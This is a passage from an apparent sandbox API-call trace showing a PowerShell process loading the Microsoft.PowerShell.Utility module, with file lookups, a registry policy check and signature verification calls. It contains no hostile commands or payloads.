(lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.960] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e3d8) returned 1 [0182.960] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e69c | out: lpFileInformation=0x5a2e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e3d4) returned 1 [0182.961] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0182.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.961] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e2e0, Length=0x20, ResultLength=0x5a2e350 | out: SystemInformation=0x5a2e2e0, ResultLength=0x5a2e350*=0x0) returned 0xc0000003 [0182.961] GetSystemInfo (in: lpSystemInfo=0x5a2e35c | out: lpSystemInfo=0x5a2e35c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0182.962] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e2ec | out: phkResult=0x5a2e2ec*=0x428) returned 0x0 [0182.962] RegQueryValueExW (in: hKey=0x428, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e308, lpData=0x0, lpcbData=0x5a2e304*=0x0 | out: lpType=0x5a2e308*=0x0, lpData=0x0, lpcbData=0x5a2e304*=0x0) returned 0x2 [0182.962] RegCloseKey (hKey=0x428) returned 0x0 [0182.962] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.962] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e264) returned 1 [0182.963] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x428 [0182.963] GetFileType (hFile=0x428) returned 0x1 [0182.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e260) returned 1 [0182.963] GetFileType (hFile=0x428) returned 0x1 [0182.963] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e2a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e2a0*=0) returned 0x0 [0182.963] ReadFile (in: hFile=0x428, lpBuffer=0x25159d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e2cc, lpOverlapped=0x0 | out: lpBuffer=0x25159d8*, lpNumberOfBytesRead=0x5a2e2cc*=0x982, lpOverlapped=0x0) returned 1 [0182.963] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e2a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e2a0*=0) returned 0x982 [0182.963] ReadFile (in: hFile=0x428, lpBuffer=0x2514eee, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x5a2e2cc, lpOverlapped=0x0 | out: lpBuffer=0x2514eee*, lpNumberOfBytesRead=0x5a2e2cc*=0x0, lpOverlapped=0x0) returned 1 [0182.964] SetFilePointer (in: hFile=0x428, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e2a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e2a0*=0) returned 0x982 [0182.964] ReadFile (in: hFile=0x428, lpBuffer=0x25159d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e2cc, lpOverlapped=0x0 | out: lpBuffer=0x25159d8*, lpNumberOfBytesRead=0x5a2e2cc*=0x0, lpOverlapped=0x0) returned 1 [0182.964] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e234, Length=0x20, ResultLength=0x5a2e2a4 | out: SystemInformation=0x5a2e234, ResultLength=0x5a2e2a4*=0x0) returned 0xc0000003 [0182.964] GetSystemInfo (in: lpSystemInfo=0x5a2e2b0 | out: lpSystemInfo=0x5a2e2b0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0182.965] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e240 | out: phkResult=0x5a2e240*=0x42c) returned 0x0 [0182.965] RegQueryValueExW (in: hKey=0x42c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e25c, lpData=0x0, lpcbData=0x5a2e258*=0x0 | out: lpType=0x5a2e25c*=0x0, lpData=0x0, lpcbData=0x5a2e258*=0x0) returned 0x2 [0182.965] RegCloseKey (hKey=0x42c) returned 0x0 [0182.965] CloseHandle (hObject=0x428) returned 1 [0182.966] CoCreateGuid (in: pguid=0x5a2e330 | out: pguid=0x5a2e330*(Data1=0x6c357538, Data2=0xa56, Data3=0x471a, Data4=([0]=0x8d, [1]=0xa2, [2]=0xaa, [3]=0x5a, [4]=0x89, [5]=0x8d, [6]=0xd5, [7]=0x22))) returned 0x0 [0182.967] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e090 | out: lpPerformanceCount=0x5a2e090*=1261398957254) returned 1 [0182.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dd7c) returned 1 [0182.967] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e040 | out: lpFileInformation=0x5a2e040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2dd78) returned 1 [0182.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0182.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0182.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dd10) returned 1 [0182.967] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2dfd4 | out: lpFileInformation=0x5a2dfd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0182.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2dd0c) returned 1 [0182.968] CoTaskMemAlloc (cb=0x10) returned 0x46e798 [0182.968] CoTaskMemAlloc (cb=0x10) returned 0x46e7f8 [0182.968] CoTaskMemAlloc (cb=0xe4) returned 0x42f5d0 [0182.968] CoTaskMemAlloc (cb=0x30) returned 0x433280 [0182.968] WinVerifyTrust () returned 0x800b0100 [0182.996] CoTaskMemFree (pv=0x46e798) [0182.996] CoTaskMemFree (pv=0x433280) [0182.996] CryptCATHandleFromStore () returned 0x3ba4e8 [0182.996] WTHelperGetProvSignerFromChain () returned 0x0 [0182.996] CoTaskMemAlloc (cb=0x10) returned 0x46e798 [0182.996] CoTaskMemAlloc (cb=0x30) returned 0x433280 [0182.996] WinVerifyTrust () returned 0x0 [0182.997] CoTaskMemFree (pv=0x433280) [0182.997] CoTaskMemFree (pv=0x46e798) [0182.997] CoTaskMemFree (pv=0x42f5d0) [0182.997] CoTaskMemFree (pv=0x46e7f8) [0183.052] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en-US\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en-us\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0183.052] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\en\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\en\\microsoft.powershell.utility.psd1")) returned 0xffffffff [0183.053] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0183.053] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0183.053] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0183.053] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0183.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x64 [0183.070] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", nBufferLength=0x64, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x63 [0183.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d7cc) returned 1 [0183.070] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2da90 | out: lpFileInformation=0x5a2da90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d7c8) returned 1 [0183.070] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.071] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Commands.Utility.dll\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.commands.utility.dll\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.071] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2d6f0, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0183.075] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0183.076] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0183.076] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x51, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x50 [0183.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d5d4) returned 1 [0183.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2d898 | out: lpFileInformation=0x5a2d898*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.076] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d5d0) returned 1 [0183.081] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.211] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0183.223] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0183.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0183.224] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x57, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x56 [0183.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d5d4) returned 1 [0183.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2d898 | out: lpFileInformation=0x5a2d898*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d5d0) returned 1 [0183.230] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0183.236] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0183.306] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x59 [0183.306] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", nBufferLength=0x59, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility", lpFilePart=0x0) returned 0x58 [0183.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d5d4) returned 1 [0183.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2d898 | out: lpFileInformation=0x5a2d898*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d5d0) returned 1 [0183.311] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Utility\\Microsoft.PowerShell.Commands.Utility.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.utility\\microsoft.powershell.commands.utility.dll")) returned 0xffffffff [0184.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0184.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0184.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0184.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0185.886] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0185.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0185.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", 